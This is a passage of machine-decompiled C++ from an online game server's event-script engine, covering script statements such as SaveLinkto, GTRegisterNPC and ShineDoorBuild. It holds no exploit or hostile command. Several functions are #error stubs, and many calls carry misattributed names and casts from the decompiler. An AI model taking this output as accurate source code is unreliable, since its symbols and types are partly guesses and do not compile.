v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "SaveLinkto", 0, 4, 4); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::SaveLinkto::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5BF944: using guessed type int (__stdcall *PineEventScriptNode__SaveLinkto___vftable_)(int tr); //----- (004BE070) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "ClearSaveLinkto", 0, 0, 0); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ClearSaveLinkto::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5BF968: using guessed type int (__stdcall *PineEventScriptNode__ClearSaveLinkto___vftable_)(int tr); //----- (004BE0D0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "NPCChatNoFacecut", 1u, 1, 1); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::NPCChatNoFacecut::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5BF990: using guessed type int (__stdcall *PineEventScriptNode__NPCChatNoFacecut___vftable_)(int tr); //----- (004BE130) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, (char *)"ScinarioCodeParty", 1u, 1, 1); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScinarioCodeParty::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5BF9BC: using guessed type int (__stdcall *PineEventScriptNode__ScinarioCodeParty___vftable_)(int tr); //----- (004BE190) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, (char *)"HasAbstate", 1u, 3, 3); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::HasAbstate::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5BF9E8: using guessed type int (__stdcall *PineEventScriptNode__HasAbstate___vftable_)(int tr); //----- (004BE1F0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, (char *)"BroadcastCode", 1u, 1, 1); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::BroadcastCode::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5BFA0C: using guessed type int (__stdcall *PineEventScriptNode__BroadcastCode___vftable_)(int tr); //----- (004BE250) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::sb_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "GTRegisterNPC", 0, 2, 2); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::GTRegisterNPC::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5BFA34: using guessed type int (__stdcall *PineEventScriptNode__GTRegisterNPC___vftable_)(int tr); //----- (004BE2B0) -------------------------------------------------------- PineEventScriptNode::StatementBase *__cdecl PineEventScriptNode::ScriptBase::g_CloneMe() { void *v0; // eax@1 PineEventScriptNode::OtherStatement *v1; // esi@1 void *v2; // ST14_4@1 PineEventScriptNode::StatementBase *result; // eax@1 v0 = operator new(0xBCu); v1 = (PineEventScriptNode::OtherStatement *)v0; v2 = v0; result = 0; if ( v2 ) { PineEventScriptNode::OtherStatement::OtherStatement(v1, "GTMobRegenKey", 0, 3, 3); v1->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::GTMobRegenKey::_vftable_; result = (PineEventScriptNode::StatementBase *)v1; } return result; } // 5BFA5C: using guessed type int (__stdcall *PineEventScriptNode__GTMobRegenKey___vftable_)(int tr); //----- (004BE310) -------------------------------------------------------- void __thiscall PineEventScriptNode::RegisterGTPortal::_RegisterGTPortal(PineEventScriptNode::RegisterGTPortal *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5BF7F8: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__RegisterGTPortal____vftable_)(int tr); //----- (004BE320) -------------------------------------------------------- void *__thiscall PineEventScriptNode::SaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::SaveLinkto *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BE340) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::SaveLinkto *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5BF810: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__SaveLinkto____vftable_)(int tr); //----- (004BE350) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ClearSaveLinkto::_vector_deleting_destructor_(PineEventScriptNode::ClearSaveLinkto *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BE370) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::ClearSaveLinkto *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5BF828: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__ClearSaveLinkto____vftable_)(int tr); //----- (004BE380) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_vector_deleting_destructor_(PineEventScriptNode::NPCChatNoFacecut *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScriptBase::_ScriptBase(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BE3A0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::NPCChatNoFacecut *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5BF840: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__NPCChatNoFacecut____vftable_)(int tr); //----- (004BE3B0) -------------------------------------------------------- void *__thiscall PineEventScriptNode::ScriptBase::_scalar_deleting_destructor_(PineEventScriptNode::ScinarioCodeParty *this, unsigned int a2) { void *v2; // esi@1 v2 = this; PineEventScriptNode::ScinarioCodeParty::_ScinarioCodeParty(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (004BE3D0) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScinarioCodeParty::_ScinarioCodeParty(PineEventScriptNode::ScinarioCodeParty *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5BF858: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__ScinarioCodeParty____vftable_)(int tr); //----- (004BE3E0) -------------------------------------------------------- void __thiscall PineEventScriptNode::HasAbstate::_HasAbstate(PineEventScriptNode::HasAbstate *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5BF870: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__HasAbstate____vftable_)(int tr); //----- (004BE3F0) -------------------------------------------------------- void __thiscall PineEventScriptNode::BroadcastCode::_BroadcastCode(PineEventScriptNode::BroadcastCode *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5BF888: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__BroadcastCode____vftable_)(int tr); //----- (004BE400) -------------------------------------------------------- void __thiscall PineEventScriptNode::ScriptBase::_ScriptBase(PineEventScriptNode::GTRegisterNPC *this) { this->baseclass_0.baseclass_0.baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptBase::_vftable_; PineEventScriptNode::OtherStatement::_OtherStatement(&this->baseclass_0.baseclass_0); } // 5BF8A0: using guessed type int (__stdcall *PineEventScriptNode__ScriptBase_PineEventScriptNode__GTRegisterNPC____vftable_)(int tr); //----- (004BE410) -------------------------------------------------------- void __thiscall AxialListObjectCollector::AxialListObjectCollector(AxialListObjectCollector *this, NPCManager::LinkInformTemplete *lnkinf, unsigned int gld) { AxialListObjectCollector *v3; // esi@1 v3 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v3->aloc_LinkInform = lnkinf; v3->aloc_GuildRegNum = gld; v3->aloc_Compare = (char (__thiscall *)(AxialListObjectCollector *, #325 *))(gld != 0 ? (int)AxialListObjectCollector::ala_CompareGuild : 0); v3->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectCollector::_vftable_; } // 5BF7E8: using guessed type int (__stdcall *AxialListObjectCollector___vftable_)(int, int, int distancesquar); //----- (004BE440) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineObjectCollect::sa_Step(PineEventScriptNode::ShineObjectCollect *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ShineObjectCollect *v4; // edi@1 PineScriptToken *v5; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v6; // eax@1 PineEventScriptNode::ScriptAtomVtbl *v7; // eax@3 int v8; // eax@3 int v9; // eax@4 PineEventScriptNode::Express *v10; // ecx@4 int v11; // eax@4 int v12; // eax@5 PineEventScriptNode::Express *v13; // ecx@5 int v14; // eax@5 char *v15; // eax@7 Name3 *v16; // eax@7 Name3 *v17; // edi@7 char *v18; // eax@8 unsigned __int16 v19; // ax@8 const char *v20; // eax@9 char *v21; // eax@9 Movie::Theater *v22; // ecx@10 unsigned __int16 result; // ax@12 int v24; // [sp+Ch] [bp-3ACh]@3 int gld; // [sp+20h] [bp-398h]@7 FunctionEntarance _; // [sp+24h] [bp-394h]@1 unsigned int x; // [sp+28h] [bp-390h]@4 unsigned int y; // [sp+2Ch] [bp-38Ch]@5 AxialListObjectCollector alchat; // [sp+30h] [bp-388h]@10 NPCManager::LinkInformTemplete lnkinf; // [sp+40h] [bp-378h]@9 PineScriptToken tkn; // [sp+A8h] [bp-310h]@3 PineScriptToken map; // [sp+1A8h] [bp-210h]@1 PineScriptToken flag; // [sp+2A8h] [bp-110h]@1 unsigned int v34; // [sp+3A8h] [bp-10h]@12 int v35; // [sp+3B4h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "PineEventScriptNode::ShineObjectCollect::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectCollect::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineObjectCollect::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v35 = 0; PineScriptToken::pst_Clear(&flag); LOBYTE(v35) = 1; v5 = PineEventScriptNode::Identify::i_GetToken(&v4->baseclass_0.os_Ident, &flag, ps); PineScriptToken::pst_ToLower(v5); PineScriptToken::pst_Clear(&map); v6 = v4->baseclass_0.os_Express[0]->baseclass_0.vfptr; LOBYTE(v35) = 2; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v6->sa_Calculate)(&map, ps) != 0 ) { PineScriptToken::pst_Clear(&tkn); v7 = v4->baseclass_0.os_Express[1]->baseclass_0.vfptr; LOBYTE(v35) = 3; v8 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v7->sa_Calculate)(&tkn, ps); v24 = 0; if ( v8 != 0 && (v9 = PineScriptToken::pst_GetNumber(&tkn, 0), v10 = v4->baseclass_0.os_Express[2], x = v9, v11 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v10->baseclass_0.vfptr->sa_Calculate)( &tkn, ps), v24 = 0, v11 != 0) && (v12 = PineScriptToken::pst_GetNumber(&tkn, 0), v13 = v4->baseclass_0.os_Express[3], y = v12, v14 = ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v13->baseclass_0.vfptr->sa_Calculate)( &tkn, ps), v24 = 0, v14 != 0) ) { gld = PineScriptToken::pst_GetNumber(&tkn, 0); MoveManager::MoveManager((DiceTaiSai *)&map); v16 = (Name3 *)FieldOption::fo_GetFieldAttr(&::this, v15); v17 = v16; if ( v16 ) { v18 = NameString::operator__(&namestring, v16); v19 = MapDataBox::mdb_2mapid(&mapdatabox, v18); if ( MapDataBox::operator__(&mapdatabox, v19) ) { MoveManager::MoveManager((DiceTaiSai *)&map); strncpy(lnkinf.linktoserver, v20, 0xCu); v21 = NameString::operator__(&namestring, v17); strncpy(lnkinf.linktoclient, v21, 0xCu); lnkinf.linktoclient[12] = 0; lnkinf.linktoserver[12] = 0; lnkinf.coordx = x; lnkinf.coordy = y; if ( PineScriptToken::operator__(&flag, index_guild.pst_Buffer) ) { AxialListObjectCollector::AxialListObjectCollector(&alchat, &lnkinf, gld); v22 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v35) = 4; Movie::Theater::t_AllInMap(v22, &alchat.baseclass_0); LOBYTE(v35) = 3; alchat.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListObjectCollector::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alchat); } } } PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v35) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v35) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&map); LOBYTE(v35) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); v35 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindowRange::sa_Step", v24); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v35) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&tkn); LOBYTE(v35) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&map); LOBYTE(v35) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectCollect::sa_Step"); } } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineChatWindowRange::sa_Step", 0); PineScriptStack::ProcessStack::ps_Pop(ps); LOBYTE(v35) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&map); LOBYTE(v35) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&flag); --funcallanalizer.fca_stackpoint; v35 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineObjectCollect::sa_Step"); } __security_check_cookie(v34); return result; } // 5BF7E8: using guessed type int (__stdcall *AxialListObjectCollector___vftable_)(int, int, int distancesquar); //----- (004BE800) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { ListEraser eraser; // [sp+0h] [bp-14h]@1 int v2; // [sp+10h] [bp-4h]@1 eraser.baseclass_0.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; eraser.le_list = this; v2 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004BE850) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineInterruptClear::sa_Step(PineEventScriptNode::ShineInterruptClear *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { MobTacticElement::MobActionBase *v4; // eax@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 int v8; // ecx@1 unsigned __int16 v9; // ax@1 unsigned __int16 v10; // si@1 ListIteratorDefault arg; // [sp+4h] [bp-14h]@1 int v13; // [sp+8h] [bp-10h]@1 int v14; // [sp+14h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptClear::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineInterruptClear::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; v4 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v5 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v4, (MobTacticElement::MobActionArgument *)exechandle); v6 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v5, &stru_5A8D60); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, "InterruptClear"); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &trc_eol); v8 = *(_DWORD *)&ps->gap10114[4] + 66116; arg.vfptr = (ListIteratorDefaultVtbl *)&ListEraser::_vftable_; v13 = v8; LOBYTE(v14) = 1; List::l_4AllInList((List *)v8, &arg); LOBYTE(v14) = 0; arg.vfptr = (ListIteratorDefaultVtbl *)&ListIteratorDefault::_vftable_; v9 = PineScriptStack::ProcessStack::ps_Pop(ps); --funcallanalizer.fca_stackpoint; v10 = v9; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::ShineInterruptClear::sa_Step"); return v10; } // 5BD578: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); // 5BD57C: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, int handle); //----- (004BE970) -------------------------------------------------------- #error "4BE970: undefined or illegal type '#585' (funcsize=367)" //----- (004BEEF0) -------------------------------------------------------- #error "4BEEF0: undefined or illegal type '#325' (funcsize=168)" //----- (004BF190) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineDoorBuild::sa_Step(PineEventScriptNode::ShineDoorBuild *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::OtherStatement *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 #325 *v8; // eax@1 PineScriptStack::ProcessStack *v9; // ecx@2 unsigned __int16 v10; // ax@6 unsigned __int16 v11; // si@6 int mobhnd; // [sp+0h] [bp-14h]@1 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v15; // [sp+10h] [bp-4h]@1 v4 = (PineEventScriptNode::OtherStatement *)this; _.fe_FunctionCode = "PineEventScriptNode::ShineDoorBuild::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::ShineDoorBuild::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::ShineDoorBuild::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, "ShineDoorBuild : "); v8 = ShineObjectManager::som_AllocObject(&shineobjmanager, (unsigned __int16 *)&mobhnd, 7u); if ( v8 ) { if ( !PineEventScriptNode::OtherStatement::os_ObjectRegen(v4, exechandle, ps, ip, v8, mobhnd, 0) ) ShineObjectManager::som_FreeObject(&shineobjmanager, mobhnd, 0, 23); v9 = ps; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineDoorBuild::sa_Step : Too many mob", 0); v9 = ps; } v10 = PineScriptStack::ProcessStack::ps_Pop(v9); --funcallanalizer.fca_stackpoint; v15 = -1; v11 = v10; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "PineEventScriptNode::ShineDoorBuild::sa_Step"); return v11; } //----- (004BF2C0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::ShineNPCStand::sa_Step(PineEventScriptNode::ShineNPCStand *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::OtherStatement *v4; // edi@1 MobTacticElement::MobActionBase *v5; // eax@1 MobTacticElement::MobActionBase *v6; // eax@1 MobTacticElement::MobActionBase *v7; // eax@1 #325 *v8; // eax@1 PineScriptStack::ProcessStack *v9; // ecx@2 unsigned __int16 v10; // ax@6 unsigned __int16 v11; // si@6 int mobhnd; // [sp+0h] [bp-14h]@1 FunctionEntarance _; // [sp+4h] [bp-10h]@1 int v15; // [sp+10h] [bp-4h]@1 v4 = (PineEventScriptNode::OtherStatement *)this; _.fe_FunctionCode = (char *)&stru_5C29C0.maa_TargetSelect.targetlist.baseclass_0.l_Finger; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, (char *)&stru_5C29C0.maa_TargetSelect.targetlist.baseclass_0.l_Finger); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = (char *)&stru_5C29C0.maa_TargetSelect.targetlist.baseclass_0.l_Finger; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v5 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)&scrpttrcr, "["); v6 = MobTacticElement::MobActionNoBrain::mab_Think( (MobTacticElement::MobActionNoBrain *)v5, (MobTacticElement::MobActionArgument *)exechandle); v7 = MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v6, &stru_5A8D60); MobTacticElement::MobActionNoBrain::mab_Think((MobTacticElement::MobActionNoBrain *)v7, &stru_5C29C0); v8 = ShineObjectManager::som_AllocObject(&shineobjmanager, (unsigned __int16 *)&mobhnd, 4u); if ( v8 ) { if ( !PineEventScriptNode::OtherStatement::os_ObjectRegen(v4, exechandle, ps, ip, v8, mobhnd, 0) ) ShineObjectManager::som_FreeObject(&shineobjmanager, mobhnd, 0, 24); v9 = ps; } else { AssertClass::ac_AssertFail(&shineassert, "PineEventScriptNode::ShineNPCStand::sa_Step : Too many mob", 0); v9 = ps; } v10 = PineScriptStack::ProcessStack::ps_Pop(v9); --funcallanalizer.fca_stackpoint; v15 = -1; v11 = v10; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, (char *)&stru_5C29C0.maa_TargetSelect.targetlist.baseclass_0.l_Finger); return v11; } //----- (004BF3F0) -------------------------------------------------------- #error "4BF3F0: undefined or illegal type '#585' (funcsize=183)" //----- (004BF6B0) -------------------------------------------------------- #error "4BF6B0: undefined or illegal type '#585' (funcsize=221)" //----- (004BF9D0) -------------------------------------------------------- #error "4BF9D0: undefined or illegal type '#585' (funcsize=137)" //----- (004BFC00) -------------------------------------------------------- #error "4BFC00: undefined or illegal type '#325' (funcsize=189)" //----- (004BFEB0) -------------------------------------------------------- #error "4BFEB0: undefined or illegal type '#325' (funcsize=134)" //----- (004C00D0) -------------------------------------------------------- #error "4C00D0: undefined or illegal type '#325' (funcsize=186)" //----- (004C03B0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::SaveLinkto::sa_Step(PineEventScriptNode::SaveLinkto *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::SaveLinkto *v4; // edi@1 const char *v5; // eax@5 const char *v6; // eax@7 Movie::Theater *v7; // ecx@9 void *v8; // eax@9 unsigned __int16 result; // ax@20 void *v10; // [sp-14h] [bp-1F8h]@13 unsigned int dwPosY; // [sp+0h] [bp-1E4h]@4 unsigned int dwPosX; // [sp+4h] [bp-1E0h]@3 FunctionEntarance _; // [sp+8h] [bp-1DCh]@1 std::basic_string,std::allocator > LinkClent; // [sp+Ch] [bp-1D8h]@1 std::basic_string,std::allocator > LinkServer; // [sp+28h] [bp-1BCh]@1 NPCManager::LinkInformTemplete LinkInfo; // [sp+44h] [bp-1A0h]@5 PineEventScriptNode::ScriptParameterPaser paser; // [sp+ACh] [bp-138h]@1 unsigned int v18; // [sp+1D4h] [bp-10h]@20 int v19; // [sp+1E0h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "SaveLinkto::sa_Step"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SaveLinkto::sa_Step"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SaveLinkto::sa_Step"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; PineEventScriptNode::ScriptParameterPaser::ScriptParameterPaser(&paser, v4->baseclass_0.baseclass_0.os_Express, ps); LOBYTE(v19) = 1; PineEventScriptNode::ScriptParameterPaser::SetErrorMsg(&paser, "SaveLinkto::sa_Step"); LinkServer._Myres = 15; LinkServer._Mysize = 0; LinkServer._Bx._Buf[0] = 0; LinkClent._Myres = 15; LinkClent._Mysize = 0; LinkClent._Bx._Buf[0] = 0; LOBYTE(v19) = 3; if ( !PineEventScriptNode::ScriptParameterPaser::GetByString(&paser, 0, &LinkServer) || !PineEventScriptNode::ScriptParameterPaser::GetByString(&paser, 1, &LinkClent) ) { PineScriptStack::ProcessStack::ps_Pop(ps); if ( LinkClent._Myres >= 0x10 ) operator delete(*(void **)&LinkClent._Bx._Buf[0]); LinkClent._Myres = 15; LinkClent._Mysize = 0; LinkClent._Bx._Buf[0] = 0; if ( LinkServer._Myres < 0x10 ) goto LABEL_19; v10 = *(void 